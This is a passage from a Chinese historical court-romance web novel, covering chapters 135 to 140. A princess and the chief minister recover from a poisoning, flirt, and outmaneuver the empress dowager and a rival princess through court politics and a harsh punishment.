就着昏暗的光线,她看见了自己手上的一片猩红。 “你受伤了?” 晏骁寒不答,他低头吻住她的唇,一双大手从她的腰迹一路向上。 感受着他冰凉又柔软的唇,和他游移的大手,慕馨宁已经神魂颠倒,什么也顾不上。 可是渐渐的,她察觉到了晏骁寒的不对劲,他的力气,好像在一点点流失。 慕馨宁一把抓住他的手腕,眼里多了几分担忧:“你之前去哪了,怎么受的伤?还是先找老头儿瞧瞧,万一有毒该怎么办?” 他喘着粗气,靠在她耳边低语:“放心,就算是死,我也要先满足你……” 说着,晏骁寒正要进行关键的最后一步,忽然感觉有些头晕眼花。 他心里一阵懊恼:该死,若是这时戛然而止,他的脸面往哪放? 慕馨宁好像看见了他唇上的青紫,房间光线太暗,又有些不确定。 直到晏骁寒倒在她的身上,没了动静,慕馨宁吓得魂儿都要丢了:“晏骁寒,你醒醒……不要吓我……” “主子!” 房门砰的一下被推开,即墨一脸担忧就要冲进来,却被暗处出现的鸦羽一脚踹了一个趔趄。 鸦羽重新将房门关好:“你先去喊神医。” 即墨:“……” 慕馨宁随意裹了一件衣服,又将晏骁寒身上的衣服整理好。 她有些庆幸,刚刚没有把晏骁寒扒光,不然她一人之力,怎么把他的衣服穿好? 老头拎着药箱,一脸苦大仇深的被即墨背着进了门。 房间里已经点了明灯,轻易可见晏骁寒腰下流着黑血的伤口。 老头一看这伤口,就确定不是才刚导致。 他一边给晏骁寒把脉,一边怒声道:“胡闹什么,受了伤不第一时间保命?” 即墨一脸无奈,小声道:“伤口很小,天黑又看不清,主子原本没在意,我又劝说不动,再说……” 即墨不满的看了慕馨宁一眼,要不是慕馨宁随意冤枉自家主子,自家主子也不会从宫里出来就要找慕馨宁算账。 老头取出银针,迅速刺进晏骁寒的穴位。 待晏骁寒吐出一口黑血来,这才从药箱里取出一颗药丸,让人用酒化开,命即墨喂晏骁寒服下。 即墨也憋了一口气,直接递给慕馨宁。 慕馨宁小心翼翼,好不容易将药喂了进去。 老头儿留下一瓶伤药就要走:“算他命大,要不是我在这里,他必死无疑。” 慕馨宁这才注意到,老头儿浑身都被汗水湿透了,她这才察觉到晏骁寒的情况有多严重。 慕馨宁就这么守了晏骁寒一夜。 晨曦时,晏骁寒终于睁开了眼睛。 慕馨宁就坐在一旁第椅子上,脑袋枕了晏骁寒半个枕头,她还握着晏骁寒的大手,眉头紧皱,睡的并不安稳。 直到悉悉索索的声音响起,慕馨宁才睁开沉重的眼皮,她摸了摸身下,才察觉自己竟然是躺在床上。 “你好了?”见晏骁寒正在换朝服,她连忙起身。 晏骁寒系好衣带行至床边:“好多了,要早朝,你继续睡吧。” 慕馨宁撇了撇嘴,想起昨晚的情形,不知道是应该尴尬,还是应该后怕。 “你知道是谁对你下的手吗?”慕馨宁想起正事。 第135章 一步登天 男人看她的目光多了几分深邃:“北赫人动的手,” 慕馨宁心头一紧,想起什么:“百里尧!” 毕竟是晏骁寒砍断了百里尧的一只手,他不会坐以待毙的。 “那你抓到他了?”慕馨宁赤着脚上前,替晏骁寒整理衣襟。 晏骁寒眼里的狠辣没有遮掩:“估计现在,骨头渣子都不剩了吧。” “你不是说,等他离开东陵再下手?”他就这么死在了东陵,北赫皇族和百里一族不会就这么善罢甘休吧。 晏骁寒挑起她的下巴,看着她那张素颜如雪的脸,嘴角上扬:“因为本官想到了一个两全其美的办法,外人看来,他定是出了东陵才死的。” 他找人扮成百里尧的样子,此时已经回北赫了。 慕馨宁没再追问,看着男人惊为天人的那张俊脸,说不心猿意马,那是假的。 她要吻他,又被他躲开,慕馨宁的手直接伸进他的衣襟,摸到了他健硕发达的胸肌。 她吞着口水,靠在他耳边,认真道:“以后别太努力,都要比我的大了,让我情何以堪?” 晏骁寒眉头微挑,挑衅似的,手也伸进了她的衣襟。 男人的指腹带着些许薄茧,触碰她时,那种酥麻敢席卷全身,慕馨宁心头一颤。 晏骁寒俯身到她耳边,声音磁性悦耳,带着些许隐忍:“盈盈一握,刚刚好……” 成熟的男人说起荤话来,尤其还是俊美的无可挑剔的男人,慕馨宁自然是抵挡不住。 慕馨宁控制不住想要和他深入了解的欲望,伸手就要扯他的腰带,却被晏骁寒抓住了手腕:“欲求不满?那只能等我下朝了。” 看着他整理好衣襟,慕馨宁的目光落在他的腰侧,当即正色道:“下次别这样,要不是老头儿在,你可能就……” 晏骁寒俊脸上,似乎多了几分无奈:“能让我置生死于不顾的人,只有你了吧。” 这句话,比世上任何一句情话都动听。 慕馨宁顿时觉得她冰封的世界,春暖花开。 她的眼泪差点掉下来。 晏骁寒替她理了理凌乱的头发:“睡吧。” 慕馨宁一把勾住他的脖子:“亲亲。” 晏骁寒无奈的一笑,低头就吻上她的唇。 女人的唇很柔软,带着丝丝香甜。 慕馨宁感受到了他唇瓣的凉意,和身上似有若无的冷香。 可是吻着吻着,气氛就变了,不知什么时候,他已经上了她的床。 慕馨宁气喘吁吁,已经忘我的、又开始解晏骁寒的腰带,晏骁寒抓住了她的手腕。 二人四目相对,好像都从彼此的眼神里看到了一丝尴尬。 慕馨宁有些不舍的,重新替他系好衣带:“给你备了糕点,你路上吃,早些回来吃早饭。” 说着,慕馨宁又替他整理了一下衣领。 “嗯。” 今日早朝,众人看晏骁寒的眼神都有些古怪。 自打晏骁寒官至五品,可入早朝,他们还头一次看见晏骁寒朝服上有褶皱的。 再说以前这首辅大人整日冷着一张脸,今日怎么感觉哪里不一样了? 等永平帝上朝之后,晏骁寒的脸色又冷沉下来,周围的人看着,心里都有些发怵。 晏骁寒一个眼神,就有人上前弹劾华太尉在没拿到慕馨宁造反的证据时,强迫永平帝下旨搜查长公主府。 华太尉到底是谁的人,大家心知肚明,毕竟华丽妍和易王的婚期,马上就要到了。 永平帝面上也有些挂不住,圣旨是他下的,即使他是迫不得已,那也不是一件光荣的事情。 但是,他正好借机打压华太尉。 “华庭绅官降一级,暂理工部尚书一职。” 工部尚书脸色一白,身子没来由的一个哆嗦。 华庭绅顶了他的官职,那他去做什么,难道他也要被官降一级? 他官降一级又要去顶替谁的位置,又或者,永平帝直接将他罢官了? “皇上,虽然昨日没有搜到长公主谋反的罪证,但是不代表长公主没有这个野心啊!”华庭绅跪在金銮殿中间,一脸恳切。 就算永平帝降他的官职,六部任何一部都可以,为什么偏偏就是工部。 六部之中,最操心最受累、最没有油水、地位最低的,就是工部! 好几个大臣冒头,替华庭绅求情。 可是永平帝态度坚定:“那你什么时候找到长公主谋反的证据,再官复原职。” “还有。”永平帝冷着脸,盯着华庭绅又开口:“长公主那边还好说,可是冤枉北赫和虞放一事,还需要你给他们一个交代。” 华庭绅心里一沉,心中冷笑连连,怪不得昨日他三言两语永平帝就下旨搜查慕馨宁的公主府,原来永平帝是故意的! 拿了慕馨宁的罪证治罪慕馨宁,是永平帝心中所期待的,同时,若是拿不到罪证,转头反咬他,也是永平帝的打算,一箭双雕的手段,永平帝什么时候玩的如此得心应手了? 华庭绅心里疑惑,一抬头时,正巧看见晏骁寒冰冷的脸色,他心头咯噔一下,所以,今日他落得这般境地,是晏骁寒从中作梗? 他现在肠子都悔青了,晏首辅不是清冷孤傲不染红尘么,怎么为了一个臭名昭著放浪无形的女人,甘愿堕入污泥了? “老臣领命……”华太尉收回思绪,只能认命的跪下磕头。 众人相视无言,本以为今日早朝,会是一场唇枪舌战腥风血雨,没想到永平帝轻易贬了华太尉的官。 “原工部尚书,既然华太尉顶了你的位置,那你暂且和华太尉换一换。”永平帝端坐龙椅,面色严肃。 原本双腿还在打哆嗦、生怕被罢官的原工部尚书,听了永平帝的话,他顿时喜极而泣:“老臣领命,叩谢皇恩!” 表面看他只是官升一级,但事实上他从六部中级别最低的工部尚书直接升到掌管军政大权举足轻重的太尉,可是算得上一步登天了。 “有事启奏,无事退朝……” 百官行礼:“恭送皇上……” 看着永平帝渐行渐远,华太尉心头血都到了嗓子眼。 第136章 快脱 他怎么也没想到永平帝竟然把所有的责任都推到了他的身上,自打新帝登基,他们还从未感觉到永平帝如此无耻。 他还能怎么办,他倒是盼着太后能替他出头,可是那个老女人又想借着他扳倒慕馨宁,又想着靠宋菀菀攀上北赫,他是哑巴吃黄连有苦说不出了。 “首辅大人,下官还有几个问题想要请教您,不知您可有时间?” 看见晏骁寒要走,新任太尉徐大人连忙追了上去。 别人不知道他是谁的人,但是晏骁寒肯定清楚。 自打慕馨宁不受永平帝待见,他整日如履薄冰,生怕永平帝一个不悦,先收拾了他。 没想到如今,他不但没有被贬官,反而又官升一级,他不相信这件事跟晏骁寒无关。 晏骁寒目光冷淡的看了徐太尉一眼:“本官还有事,做好你的分内之事便可。” 徐太尉看着晏骁寒脚步比平常快了好些,再看看他衣服上的褶皱,脑子里一团乱麻。 他一不小心对上华庭绅的目光,感受到华庭绅要吃人的眼神,他当即仰首挺胸,脸上也有了几分得意。 “华太尉……哦华尚书……” 不远处,有人上前跟华庭绅打招呼,话说到一半连忙改了口。 华庭绅侧头看了那大人一眼,沉默着没有说话。 那大人搭上他的肩膀,脸上带了几分关切:“听说你的二公子没了,刚下葬吧,白发人送黑发人,华尚书竟然还能一心扑在国事上真是难得,我等佩服!” 这话听起来像是恭维,但是华庭绅却听出了言外之意:华二公子都没了,你不好好在家处理丧事,还多管闲事弹劾慕馨宁造反,这下好了,得不偿失了吧? 华庭绅脸色难看,一把甩开那大人的手,大步就离开了。 公主府。 晏骁寒回来的时候,慕馨宁还睡着,额头是热出来的汗。 晏骁寒转身,看着门口放的一盆冰块,许久没有移开目光。 冰块放的那么远,有什么意义? 杜若小声解释:“主子不怕热,就怕冷,不过最近天气实在是太热,奴婢怕主子热坏了,只能弄了冰块放在通风的门口。” 晏骁寒点头,示意杜若下去。 慕馨宁是被饿醒的,醒过来的时候晏骁寒正在处理公文。 “什么时候回来的,饿了吧。” 她从床上爬起来,随意披了一件衣服,洗漱好就让杜若摆饭。 刘营进来,看见晏骁寒之后,有些欲言又止。 慕馨宁犹豫了一下,想出去和刘营说话,晏骁寒修长好看的手指合上面前的折子,开口道:“工部徐大人升至太尉,他应该是想告诉你这个消息吧。” 刘营有些慌乱的挠了挠头,一时间有些尴尬。 慕馨宁替晏骁寒摆好碗筷,问他:“你怎么知道工部尚书是我的人?” 晏骁寒:“这件事,你好意思问我?” 慕馨宁想到什么,干笑一声:“我那不也是另辟蹊径么?” 朝中暗流涌动,文武百官大多都是拉帮结派,只有个别人保持中立,这工部尚书原本就是如此。 慕馨宁想拉拢工部尚书,绞尽脑汁用尽手段都无济于事。 于是她另辟蹊径,扬言要将工部尚书的小儿子收入房中。 这工部尚书为了自己的宝贝疙瘩,也只能发挥‘我不入地狱谁入地狱’的无畏精神,只能被迫成了慕馨宁的部下。 “你以后收敛些。”晏骁寒一张俊脸满是冷意,语气里都是警告。 慕馨宁点头,给他夹水晶包:“快吃饭,特意给你做的。” 慕馨宁又亲自给晏骁寒盛了一碗鸡丝肉粥。 看慕馨宁如此殷勤,晏骁寒心头的火气逐渐散去。 慕馨宁看着男人用饭,忽然想起什么,便问:“那个徐大人升官,是你有意为之?” 晏骁寒:“不然呢,还要等着你去大闹金銮殿,跟华庭绅拼个不死不休?” 慕馨宁心里有些触动:“那谢谢你。” 昨夜刑部侍郎当着那么多人的面搜她的公主府,又什么也没搜出来,她本来打算找各国使臣作证,同她一起入宫找永平帝评理的,没想到晏骁寒轻易就收拾了华庭绅。 晏骁寒放下筷子,定睛看她:“如何谢?” 慕馨宁坏笑着往他身边凑:“以身相许。” 晏骁寒:“……” 饭后,下人将饭桌撤下,慕馨宁兴冲冲的拿着早就准备好的伤药到晏骁寒跟前:“快脱,我给你上药。” “已经好了。” 晏骁寒有些不情愿,他当然明白这女人并不是真心想给她上药,最主要的还是占他的便宜。 而且伤口不深,只是破了层皮而已,姬神医的药有奇效,已经结痂了。 慕馨宁不甘心,一脸认真的道:“你今日骑马上的早朝吧,这一上马下马,没准就牵扯到了伤口,我不看一眼,实在不放心。” 晏骁寒被她纠缠的不行,没办法,只能解衣带。 慕馨宁等不及,嫌他速度慢,亲自上手。 里衣解开,风光无限,慕馨宁吞着口水,不安分的手就摸向了他胸前的肌肉。 男人身子紧绷起来:“不是上药?” 慕馨宁悻悻的收回手,往下褪了褪他的裤腰,她口水吞的更快了。 伤口确实不严重,慕馨宁心猿意马的将药涂完,不等晏骁寒将衣服穿好,她一下子就扑了上去。 她的眼底染了几分欲色,对上晏骁寒疑惑的目光,抬起头在他唇角落下一吻:“脱都脱了,不如……顺便办点别的……” 说着,她的手就不安分了起来。 晏骁寒蹙眉,白日宣淫绝对是不可能的,若是被人知晓,他颜面何存,威严何在? 他刚要把人推开,门口忽然出现一个人影。 慕馨宁想要调整一个舒服的姿势,手刚搭在一旁的桌案上,忽然感觉手下多了什么东西。 她诧异的侧头,就看见了厚厚的一沓银票,同时还有一道人影。 第137章 三十大板 “玄翎!”慕馨宁尖叫一声。 她这才想起昨夜她让玄翎帮她卖钻石,这估计就是卖钻石的钱。 只是他出现的时间,也太寸了。 玄翎脸色难看的冷哼:“青天白日,门也不关,你在怪我?” 看见那厚厚的一沓银票,慕馨宁再大的火气也消散了。 她尴尬的看了晏骁寒一眼,发现这厮早就将衣服穿好了。 晏骁寒看玄翎的目光多了两分戏谑:“昨夜抱得美人归,本官还没祝贺你。” 玄翎早不来晚不来,偏偏这个时候出现,其用心昭然若揭,当他看不出来? 玄翎的脸色不大好看,阴阳怪气道:“不及晏首辅,美人无数,还能得某人以身相许。” 说完,他转身就走。 他有种不好的预感,再不走,估计还要跟晏骁寒打一场。 他打不过,身上到现在还疼着。 某人差点被自己的口水呛到,这都是什么跟什么? 等玄翎离开,慕馨宁忽略了晏骁寒的脸色,只顾着数钱。 竟然有十五万两。 虽然那颗金刚石算得上稀世珍宝,但是在这么短的时间卖出如此高价,说明玄翎还是有些本事的。 忽然感受到一道冰冷的视线,慕馨宁有些心虚的实话实说:“那天赛马赢的金刚石,我让玄翎给卖了,十五万两。” 一想起那颗鸡蛋大小的金刚石,慕馨宁还是有些不舍,但是这也是没办法。 就在慕馨宁惋惜的时候,晏骁寒手里忽然多了什么东西,阳光照射进来,七彩的光芒如梦似幻。 “你买了?”慕馨宁有些惊喜,将那颗金刚石拿在手里仔细打量。 晏骁寒冷着一张俊脸:“就当是本官的‘嫁妆’。” 慕馨宁开心的搂着他的脖子就亲了一口。 晏骁寒将人推开,语气中带了几分警告:“以后离他远些。” 慕馨宁不明所以的点了点头,都没明白晏骁寒口中的‘他’是谁, 慕馨宁还想再吃晏骁寒点豆腐,芝嬷嬷来了。 花厅里,芝嬷嬷直入主题:“长公主,惠明公主和北赫皇太孙的婚期定在十日之后,现在各宫都在准备给惠明公主添妆,不知长公主那一份,可准备好没有?” 慕馨宁心里冷笑一声,昨日太后和华庭绅陷害她与北赫谋反,如今又来找她给宋菀菀添妆,把她当什么? 慕馨宁叹了口气,一脸为难:“想必所有人都知道,本宫的所有家当都给了晏首辅,所以宋菀菀这边,本宫也拿不出什么贵重东西来,但是礼制上该有的,本宫也不会缺了。” 芝嬷嬷难得给慕馨宁笑脸:“长公主也知道,惠明公主可是太后娘娘的救命恩人,她又是要远嫁北赫,去了那头人生地不熟的,还不是要靠银子打点,就算长公主不念及您和惠明公主的姐妹情分,好歹看在太后的面子上,多出一些银钱也是好的。” 慕馨宁低头整理衣襟,沉默着没说话。 按道理来说,这给宋菀菀添妆的事情全凭她心意和心情,太后却放下老脸,派芝嬷嬷亲自跑一趟,让她多出银子,这其中肯定另有缘由。 忽然想到什么,慕馨宁差点笑出声来。 估计那个老女人的金矿山,已经被晏骁寒和永平帝给端了吧。 所以太后又要各处打点收买人心,又要给宋菀菀添补嫁妆,有心无力了吧? 杜若听了芝嬷嬷的话早就气不过:“芝嬷嬷是耳朵不好用吗,我们主子都说了,所有家当都给了首辅大人,但是该给惠明公主添置的嫁妆也不会少,府里没钱,您难道还要让我家主子借钱给惠明公主添嫁妆吗,这又是什么道理?” 芝嬷嬷脸色一沉,拍案而起:“放肆,你一个贱婢,哪来的胆子敢如此跟我说话!” 慕馨宁放下茶盏,嘴角的笑冷了几分:“放肆,当着本宫的面呵斥本宫的人,是母后给你的胆子吗?” 芝嬷嬷想起正事,只能暂时压下心头的火气,难看的脸色缓和几分,从身上取出一张嫁妆单:“这是各宫妃嫔给惠明公主准备的添妆,长公主看着办吧。” 说完,她沉着脸转身就要走。 慕馨宁端起桌上的茶盏,狠狠地丢在芝嬷嬷脚下,芝嬷嬷被吓了一跳,脸色惨白的险些摔倒。 “果然是有母后给你撑腰,你一个下人竟然敢给本宫脸色看,真是反了天了!” 慕馨宁怒喝一声:“来人啊,赏芝嬷嬷三十大板,让她长长记性!” 虽然晏骁寒帮她收拾了华太尉,又提拔了她的人,但是她也知道,陷害她的幕后主使定是太后,没准还有宋菀菀参与,她正愁没办法找那个老女人报仇,芝嬷嬷就自己送上门来了。 俗话说打狗还要看主人,那她就看在太后那个老女人的面子上,好好教训教训她的狗奴才! “慕馨宁,你敢,我可是太后的人!”芝嬷嬷气的差点指着慕馨宁怒骂。 “你猜本宫敢不敢!” 话音落,刘营亲自带人进来,将芝嬷嬷拖了出去。 三十大板下来,芝嬷嬷算是丢了半条命。 慕馨宁还‘好心’的赏给芝嬷嬷一块人参片让她含在舌下,避免芝嬷嬷回宫的路上断了气。 芝嬷嬷刚走,宋菀菀竟然来了。 慕馨宁起初怀疑宋菀菀是来找晏骁寒的,毕竟晏骁寒答应他今天一整日都要留在公主府,此时他应该正在书房处理公务。 没想到宋菀菀刚见了她,扑通一下就跪在了地上:“姐姐,求求你救救我!” 宋菀菀的一声‘姐姐’,让慕馨宁又开始犯恶心。 慕馨宁捏了一半杏子送进嘴里:“什么事?” 宋菀菀泪流满面,膝行到慕馨宁跟前:“姐姐,我不想嫁去北赫联姻,不想嫁给赫连儒,你帮我想个办法吧!” 第138章 床上功夫好 慕馨宁身子往后靠了靠,想离宋菀菀远些:“那你应该去求皇兄和母后,本宫可做不了这个主。” 以宋菀菀的本性,就算她帮了宋菀菀,宋菀菀一有机会,也会对她恩将仇报,她又不是个傻子。 再说,当初那件事,确实是她让人动的手,即使宋菀菀和太后那边没有半点证据,也依旧认定是她做的。 宋菀菀这个时候竟然还来求她,估计也是走投无路了。 宋菀菀眼里闪过一抹不甘,呜咽着道:“你知道的,皇兄只顾着朝中大局,根本不管我一个义妹的死活,母后她……” 太后只想着和北赫攀关系。 之前虽然太后指使华庭绅陷害慕馨宁和北赫勾结,让北赫处于尴尬的境地,但是太后是提前给赫连儒通了气的。 赫连儒不会计较被太后利用了一把,但是太后肯定是要在宋菀菀的嫁妆上多下一些功夫。 再说赫连伊,她入永平帝后宫为妃,她又是北赫皇帝最宠爱的公主,北赫皇帝自然要和永平帝加强友好关系。 可是宋菀菀嫁的是北赫皇太孙,未来的储君,所以现在太后正琢磨怎么能先永平帝一步得到北赫的支持,让赫连儒尽快执掌北赫大权。 太后心意已决,宋菀菀若是不想听命,那也只能向慕馨宁求救了。 她心里盘算,若是能得到晏骁寒的支持,那此事便事半功倍了。 “本宫能理解你的心情,但是你也知道,本宫只是一个公主而已,权利不及皇兄,能力不及太后,本宫实在是有心无力,你还是另想别的法子吧。” 听慕馨宁如此说,宋菀菀心跌入了谷底,她心一横,开口道:“你若是不给我想个法子取消与赫连儒的婚事,那我大不了一死,到时候替我嫁去北赫的,就只有你长公主了!” 慕馨宁眼里闪过一抹嘲讽,一把端起宋菀菀的下巴:“你以为你算个什么东西,竟然还敢威胁本宫,你如今能好好活着。本宫已经对你手下留情,若是再不知悔改,本宫只会让你死的更惨。” 听了慕馨宁如此不留情面的话,宋菀菀磨牙,怒上心头。 她一把扫开慕馨宁的手:“不要以为你攀上了晏首辅就高枕无忧了,慕馨宁我告诉你,如果我嫁给赫连儒,成了太孙妃,乃至未来的皇后,我第一个要杀的,就是你!” ‘啪’的一声,慕馨宁狠狠地给了宋菀菀一个巴掌。 “宋菀菀,这就是你求人的态度,本宫看你不是来求本宫的,是来给本宫下马威的吧?” 慕菀菀忍着脸上火辣辣的疼,眼泪在眼眶里打转,她眼里都是对慕馨宁入骨的恨意。 她后悔了,后悔来慕馨宁这里自取其辱。 宋菀菀咬牙,脸色难看的站起身来:“既然你不帮我,那我们就走着瞧吧。” 看着宋菀菀的背影渐行渐远,慕馨宁眼里闪过什么,叹了口气:“哎,你也知道,母后是一心让你嫁到北赫的,本宫实在是不敢得罪母后啊……” 宋菀菀眼里的恨意更甚,她握紧拳头,快步出了花厅。 等她走远,杜若有些担心的对慕馨宁道:“主子。宋菀菀说的对,万一她做了北赫的太孙妃,那她肯定会报复你的。” 慕馨宁笑了一声:“她若是能做北赫的太孙妃,我出门倒着走。” 杜若:“……” “研磨,本宫给皇兄写个折子。” 那位吴昭仪小产的真相,也应该告诉永平帝了,宋菀菀可是罪魁祸首,永平帝能让宋菀菀好过,那她真就看不起他。 借刀杀人么,她也会的。 折子递给刘营时,慕馨宁叮嘱:“告诉青茀,想个办法,让那位疯癫的吴昭仪,多到皇兄跟前露露脸。” 刘营刚要出门,杜若风风火火的冲进来,差点撞刘营身上:“主子,你快去看看吧,宋菀菀抱着首辅大人的腿不撒手!” 慕馨宁脸色一变,出了门没走多远,就看见了宋菀菀跪在地上抱着晏骁寒的腿哭的伤心欲绝情形。 “骁寒,骁寒你救救我,只要你能让我不嫁去北赫,以后我愿意为奴为婢,服侍你一辈子啊!” 赫连儒就是个疯子,她都听说了,那些个伺候赫连儒的女人,浑身上下都没一块好肉,有的直接在床上就被他弄死了。 现在在东陵,赫连儒不敢把她怎么样,一但离开东陵,她没准比那些个女人下场还要凄惨! 本来慕馨宁只是站在一旁看着而已,只是当她看见宋菀菀的手渐渐往上攀的时候,顿时来了火气。 她大步上前,拿开宋菀菀攀在晏骁寒大腿上的手,抬脚就将人踹到了一边。 看着慕馨宁一脸怒气,晏骁寒原本冰冷的面色瞬间温和下来,还多了几分兴致。 这女人,吃醋了,很好。 “说话就说话,干什么动手动脚!”慕馨宁脸色难看。 宋菀菀一看见慕馨宁,气的人都哆嗦了,她心里恼恨不已。 又见慕馨宁如此紧张晏骁寒,她眼里闪过什么:“首辅大人要屈尊降贵入赘公主府,对长公主真是深情,首辅大人不知道吧,慕馨宁可是与很多男人有染的,有时候一个男人还不过瘾,还要叫上三四个……” 慕馨宁心头微沉,没有哪个男人愿意听自己未婚妻的风流韵事,只会觉得丢脸。 没准晏骁寒一气之下,就跟她翻脸了吧? 宋菀菀话没说完,她的脖子上多了一只大手。 “再胡说,信不信本官现在就捏断你的脖子?” 宋菀菀一脸惊愕的看着眼前的男人,她不明白,明明她是好心揭穿慕馨宁的真面目,晏骁寒为什么会生气? 宋菀菀忽然想到了什么,看晏骁寒的目光多了几分嘲讽,难道首辅大人就喜欢慕馨宁这种水性杨花的,就是因为慕馨宁床上功夫好? 第139章 不能睡? 晏骁寒当然没有忽略宋菀菀脸上的表情,他的脸色越来越阴沉,手上的力道越来越大。 周围人屏气凝神,仿佛听见了宋菀菀骨头碎掉的声音。 眼看着宋菀菀就要翻白眼,慕馨宁生怕晏骁寒真的一气之下要了宋菀菀的命,那她促成的好戏,还怎么能接着上演? 她一把抓住晏骁寒的手臂,凑到他耳边:“别生气,我也没有她说的那样不堪。” 晏骁寒一僵,看慕馨宁的目光有一瞬间的迟疑。 之前他只是猜测,现在他终于确定下来。 晏骁寒的手指,被慕馨宁一根根掰开。 宋菀菀终于得以呼吸,她一滩烂泥一样趴在地上,张大嘴巴拼命呼吸新鲜空气。 慕馨宁:“这次算是警告,管好你的嘴,若有下次,我会让你生不如死的。” 宋菀菀一脸惊恐,狼狈的从地上爬起来落荒而逃。 “打水来。”慕馨宁看着晏骁寒手上些许脂粉,心里有些膈应。 她亲自给晏骁寒洗了手,又用汗巾擦干,动作轻柔,像是在照顾一个小孩子。 晏骁寒的目光落在她露出一截的手臂上,忽然伸手掀开了她的袖子:“这道疤,是你自己弄的?” 如果他没猜错的话,这里,原本应该有一颗守宫砂。 慕馨宁笑了笑,云淡风轻:“皇兄登基那一年,原本我应该和亲蒙古。” 所以她故意剜了手臂上那颗守宫砂,一口气招了十几个男人进府。 晏骁寒浅笑:“你倒是聪明。” 慕馨宁摇头:“虽然我逃过一劫,但总要有人去受苦,我并不觉得骄傲。” “对于蒙古要用牲畜换粮食果蔬的事情,你怎么看?”晏骁寒想起眼下的正事。 “皇兄肯定不想吃亏的,但是又不能太市侩,总要借此机会拉进和蒙古的关系。” 晏骁寒:“所以这件事,也有些麻烦。” 先不说蒙古和东陵的东西能不能等价交换,就说在运输一事上就很麻烦。 蒙古的牲畜到了东陵会不会有水土不服的问题,路上染病或者死了那就会有损失。 还有运输的人手也要耗费不少,这运输途中还会有各种花销,这些又是谁来兜底? 粮食倒是还好,再说果蔬,东陵离蒙古路途遥远,果蔬怕是没等运到蒙古就烂透了。 所以,文武百官原本以为最好解决的就是蒙古一事,没想到他们想的太简单了。 两个人直接进了书房,慕馨宁琢磨了一下,然后道:“这件事其实也不难,蒙古那边运过来的牲畜我们可以边走边卖,只剩下强建的留着自用,这就省下了很多麻烦。” “再一个果蔬的问题,我们可以送给他们一些菜干果干这样好保存,路途再远也不会坏掉,还有,其实蒙古最需要的不只是果蔬,更需要种植果蔬的方法,我们可以派一些人手去蒙古专门教当地的百姓种植的方法,授人以鱼不如授人以渔,想必蒙古会十分乐意的。” 晏骁寒听了顿时豁然开朗:“你的意思,蒙古的草原也可以种果蔬?” 慕馨宁点头:“如果条件允许的话,还可以种植一些粮食,不过我们东陵虽然不缺懂种植的官员,但是蒙古那种地方可以种植的条件还是很苛刻的,需要仔细斟酌选址,我这两天有空就写一份有关种植和选址的方法。” 晏骁寒看慕馨宁的目光多了几分赞赏,原来她并不是传言中的草包公主,不只诗词歌赋,她竟然还懂种植。 这几日,慕馨宁也很忙,忙着招待各国使臣,忙着准备宫里的送行宴,闲暇之余还要着手写有关种植的‘资料’,所以时间过得很快。 送行宴头一天晚上,慕馨宁靠在晏骁寒怀里打哈欠,语气中满是遗憾:“为什么不能睡?” 她好不容易软磨硬泡,让晏骁寒留下过夜,可是她用尽手段,晏骁寒依旧守着最后的底线。 晏骁寒身子往外挪了挪,隐忍着某处翻涌的情欲:“还未大婚,你就不怕我得到之后抛弃你?” 慕馨宁的手伸进他的衣襟,盯着他的俊脸,在他怀里蹭了蹭:“不怕,来吧……” 她更怕等不到大婚,这男人就溜了。 想到这里,慕馨宁心一横,一个翻身,就将人压在了身下。 她刚低头吻在他冰凉的唇上,外头传来刘营的声音:“殿下,宫里来传话,说霖州失踪了。” 慕馨宁听了起身就要下床,晏骁寒面色微沉,将人一把拉进怀里:“你担心他?” 为了一个霖州,竟然放弃与他亲近,他在这个女人心里算什么? 慕馨宁张了张嘴:“不是,明日送行宴,他领舞且主唱,找不到人还要重新安排。” 晏骁寒就不明白:“他一个乐人,又是一个男人,为何让他出头,歌姬舞姬为何不用?” 慕馨宁很有理由:“总要换换风格,再说他天赋异禀……” 话音未落,看着晏骁寒渐渐阴沉下来的脸色,慕馨宁连忙改口:“他肯定不如你的,但是也还算勉强,我这也是打算专门培养几个人手,到时候捞上一笔么。” 晏骁寒脸色好看几分:“我随你一道去瞧瞧。” 公主府的马车没到宫门口,就被人拦了下来,外头传来伊吾公主急切的声音:“长公主,能不能带着我一起入宫,我很担心他……” 慕馨宁有些吃惊,霖州失踪的事情伊吾公主竟然这么快就知晓了,可见她对霖州有多上心。 但是伊吾公主怎么说也是他国使臣,在没有传召的情况下,是不能轻易入宫的,眼下她也只能寄希望于慕馨宁。 慕馨宁见晏骁寒没有拒绝的意思,便掀开车帘对伊吾公主道:“阿语,上来吧。” 别的不说,就看在那日兵部尚书到公主府搜查她谋反的罪证时,伊吾兄妹两个愿意力保她,她也想卖伊吾公主一个面子。 伊吾公主道了谢,快速上了马车,当她看见晏骁寒时,吓了一跳。 “晏首辅。” 想起晏骁寒跟慕馨宁的关系,伊吾公主顿时有些坐立难安,要不是碍于她公主的身份,恨不得跟外头的车夫坐在一起。 “这么晚了,你自己一个人跑出来,你皇兄呢?” 慕馨宁实在是担心伊吾公主的安危,若是再发生一回类似北赫公主被撸进青楼的事情,那她这个负责接待各国使臣的长公主,可就成了千古罪人。 伊吾公主有些羞怯:“皇兄他……喝了点酒,休息了……” 晏骁寒忽然开口,语气嘲讽至极:“是借酒消愁吧?” 至于消的什么愁,有些人是心知肚明的。 第140章 失身 伊吾公主不动声色的看了慕馨宁一眼,实在是不知道该如何回答晏骁寒的话,恨不得找个地缝钻进去。 青茀已经等候慕馨宁许久,出乎意料的,霍承安竟然也在。 “人找到了没有?” 慕馨宁见了人就问。 青茀面色凝重的摇头,看着慕馨宁有些欲言又止,目光时不时落在晏骁寒的身上。 “你们怎么在一起?” 霍承安对于晏骁寒的出现也有些吃惊,一个小小乐人的生死,怕是不配被首辅大人惦记吧? “嗯。”慕馨宁只回了霍承安一个字。 想到某种情景,霍承安暗暗握了握拳头。 “本官还有公事,你们自便。” 临走前,他给了慕馨宁一个警告的目光。 有了上一次去太后那里闹事的经历,慕馨宁不可能再大费周章的冲到景阳宫寻人了。 不过她猜测,霖州,很有可能就在太后的寝宫里。 太后肯定早就做好了对付她的准备,如果她敢去,无异于自讨苦吃。 她救得了霖州一次,救不了第二次,太后和永平帝乃至晏骁寒,都是要脸面的,她得摆清自己的位置。 “多加派一些人手,在周围寻一寻吧,动静不要闹大。”慕馨宁吩咐完,就往乐府去了。 明日送行宴,虽然夜色渐深,但是还有许多人在努力的完善表演,知道慕馨宁和霍承安来,所有人都勤快起来。 慕馨宁看着心神不宁的伊吾公主,开口安慰道:“这里是皇宫,本宫虽然是公主,也不能为所欲为,我们已经尽了最大的努力寻人,你也不要太难过。” 伊吾公主红着眼睛点头。 